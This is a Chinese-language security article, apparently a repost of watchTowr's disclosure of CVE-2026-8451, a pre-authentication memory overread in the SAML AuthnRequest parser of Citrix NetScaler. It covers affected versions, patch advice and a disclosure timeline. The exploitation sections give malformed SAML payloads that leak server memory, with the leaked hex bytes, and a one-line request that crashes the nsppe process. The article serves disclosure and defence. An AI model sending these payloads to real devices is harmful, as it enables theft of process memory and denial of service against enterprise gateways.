导语:安全研究团队watchTowr近日披露Citrix NetScaler又一预认证内存越读漏洞,编号CVE-2026-8451,CVSS评分8.8。这是继CVE-2026-3055之后,CitrixBleed漏洞家族的最新成员。与之前变种不同,此漏洞专注于SAML IDP配置场景下的XML属性解析缺陷,攻击者可在无需认证的前提下读取服务器进程内存中的敏感数据。
一、漏洞概述
1.1 背景
Citrix NetScaler(曾短暂更名后恢复)是全球大型企业网络中最常见的应用交付控制器和VPN网关设备之一,NetScaler Gateway更是数千家企业远程访问基础设施的”正门”。这类设备处理负载均衡、SSL卸载、身份认证和远程访问,自然成为攻击者眼中的香饽饽。
“CitrixBleed”一词如今已不代表单个漏洞,而是 Citrix NetScaler 设备中一整类内存泄露型漏洞的代名词。近年来,这些漏洞已多次出现在实际入侵事件中。
1.2 漏洞详情
- CVE编号:CVE-2026-8451
- 漏洞名称:Citrix Bleed To Infinity And Beyond
- 类型:预认证内存越读(Pre-Auth Memory Overread)
- CVSS评分:8.8(高危)
- 根因:SAML AuthnRequest XML属性解析时输入验证不足
- 触发条件:NetScaler设备须配置为SAML IDP(身份提供商)
- 发现时间:2026年3月28日(watchTowr团队)
- 披露时间:2026年6月30日(Citrix官方发布公告)
1.3 影响范围
根据Citrix官方公告,以下产品受影响:
- NetScaler ADC和NetScaler Gateway 14.1:14.1-72.61之前的版本
- NetScaler ADC和NetScaler Gateway 13.1:13.1-63.18之前的版本
- NetScaler ADC FIPS:14.1-72.61 FIPS之前的版本
- NetScaler ADC FIPS和NDcPP:13.1-37.272之前的版本
二、技术分析
2.1 XML属性解析器的缺陷
watchTowr团队在分析CVE-2026-3055补丁时,意外发现了存在于SAML AuthnRequest解析逻辑中的新漏洞。
Citrix的NetScaler在解析SAML登录请求时,需要从XML文档中提取属性值。审计相关代码后,研究人员发现了以下存在问题的实现逻辑:
cursor = <输入字符串>;
// 跳过前导空白字符
for (lookahead = ...; ; lookahead++) {
ch = *cursor;
if (ch > '=') break;
if (!_bittest64(&whitespaceCharList, ch)) {
if (ch == '=') {
// 找到等号,跳过后续空白
while (1) {
ch = *lookahead;
if (ch > 0x20 || !_bittest64(&whitespaceCharList, ch))
break;
++lookahead;
}
cursor = lookahead;
}
break;
}
++cursor;
}
// 确定属性值的引用方式(单引号、双引号或无引号)
if (ch == ''' || ch == '"') {
terminator = ch;
first = *++cursor;
} else {
terminator = ' '; // 无引号时以空格终止
first = ch;
}
// 向后扫描直到找到终结符
while (first != '' && first != '>') {
scanPos++;
first = *scanPos;
if (first == terminator) break;
}
这段代码看起来中规中矩,但有几个微妙而危险的问题:
- 没有明显的边界检查。如果输入格式不规范,解析器完全可能读取到输入缓冲区之外。
- 无引用属性值的处理逻辑与带引号时不同。在无引用路径中,空格不再是终结符,解析器只在遇到空字节、
>或匹配引号时才停止。 >字符的终结处理存在差异。在解析属性名阶段,>被作为有效终结符处理,但一旦进入属性值解析,逻辑就变得模糊。
2.2 从异常解析到越界读取
正常情况下,NetScaler解析SAML AuthnRequest不会有问题:
AuthnReq start tag parsed, id=<_99d3e71118f42305e05acb14ad0bd917>,
acs=<http://sp.example.com/demo1/index.php?acs>, forceAuth=<0>, binding=<POST>,
following data "ProtocolBinding=..."
但当watchTowr团队用换行符替换属性值后的空格时,情况开始失控:
<samlp:AuthnRequest Version="2.0" AssertionConsumerServiceURL=11
id=22>
<saml:Issuer>watchtowr</saml:Issuer>
</samlp:AuthnRequest>
日志输出变成了:
AuthnReq start tag parsed, id=<22>, acs=<11 id=22>, forceAuth=<0>, binding=<Unknown>,
following data Version="2.0" AssertionConsumerServiceURL=11 id=22> <saml:Issuer>watchtowr...
acs的值被解析成了11 id=22,解析器没有在换行处停止,而是继续读取,直到遇到>才收手。
2.3 更进一步的越界读取
watchTowr团队进一步构造特殊载荷,成功让解析器读取到请求缓冲区边界之外的内存数据:
<samlp:AuthnRequest Version="2.0" AssertionConsumerServiceURL=
<saml2:issuer>watchtowr</saml2:issuer>
</samlp:AuthnRequest>
Version="2.0"
id="11"
日志输出:
AuthnReq start tag parsed, id=<>, acs=<▒^M▒ᆳ▒="2.0" id="11"
AssertionConsumerServiceURL="22"ᆳ▒mple.com/demo1/index.php</saml:Issuer>,
forceAuth=<0>, binding=<Unknown>
解析器已经越界读取了请求缓冲区之后的数据,并将这些数据混入了解析结果。
三、漏洞利用
3.1 利用路径
漏洞利用的关键在于构造特殊的SAML AuthnRequest,使XML解析器的属性值扫描越过请求缓冲区的边界。Citrix用NSC_TASS cookie将解析后的ID和AssertionConsumerServiceURL值返回给客户端,这意味着越界读取到的数据会被泄露到HTTP响应中。
最终,攻击者成功从服务器进程内存中读取到了预期的数据,包括0xdeadbeef填充模式和疑似有效的进程指针0xa10ca7ed:
Leaked bytes:
00000000 f0 0d 90 de de de de de de de de de de de de de |................|
00000010 de de de de de de de de de de de de de de de de |................|
00000020 de de de de de de de de de de de de de de de de |................|
00000030 de de de de de de de de de de de de de de de de |................|
00000040 de de de de de de de de de de de ed a7 |................|
00000050 0c a1 35 00 |..5.|
如果该指针确实是有效的进程指针,这意味着此漏洞已从普通的信息泄露升级为真正的信息泄露原语,结合适当的内存破坏漏洞,可能实现设备的完全沦陷。
3.2 简单的拒绝服务
对于只想证明影响而不打算构建复杂漏洞利用链的攻击者来说,只需发送一个畸形请求就能让nsppe进程崩溃:
<samlp:AuthnRequest ID=
3.3 检测工具
watchTowr团队已将其检测工具开源:
GitHub:https://github.com/watchtowrlabs/watchTowr-vs-Netscaler-CVE-2026-8451
四、修复建议
- 立即更新:将NetScaler ADC/Gateway更新到以下安全版本:
- 14.1:升级到14.1-72.61或更高版本
- 13.1:升级到13.1-63.18或更高版本
- FIPS版本:相应跟进官方补丁
- 临时缓解措施:如无法立即更新,可考虑:
- 检查是否必须启用SAML IDP配置
- 加强对/saml/login端点的流量监控
- 关注NSC_TASS cookie响应中的异常数据
五、时间线
| 日期 | 事件 |
|---|---|
| 2026年3月28日 | watchTowr发现漏洞,通知Citrix及受影响客户 |
| 2026年3月30日 | Citrix自动回复 |
| 2026年4月30日 | watchTowr请求更新 |
| 2026年5月7日 | Citrix回复正在开发修复方案 |
| 2026年6月14日 | Citrix预计6月29日发布公告 |
| 2026年6月25日 | Citrix通知可能延迟数日 |
| 2026年6月30日 | Citrix正式发布公告和补丁 |
| 2026年7月7日 | watchTowr公开发布研究细节 |
版权声明:本文由华安普特原创发布,保留所有权利。配图由华安普特授权使用。














暂无评论内容